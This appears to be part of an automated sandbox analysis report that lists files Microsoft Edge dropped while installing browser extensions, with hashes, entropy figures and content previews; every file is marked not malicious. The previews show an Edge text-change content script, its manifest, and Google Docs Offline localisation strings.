
C:\Users\user\AppData\Local\Temp\scoped_dir8000_354072984\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8000_354072984\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8000_354072984\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_354072984\b3fc4cef-ac56-4048-a88c-b2bd9fde2ad6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\75fe5522-600c-428f-9ee3-db991e5d3a10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
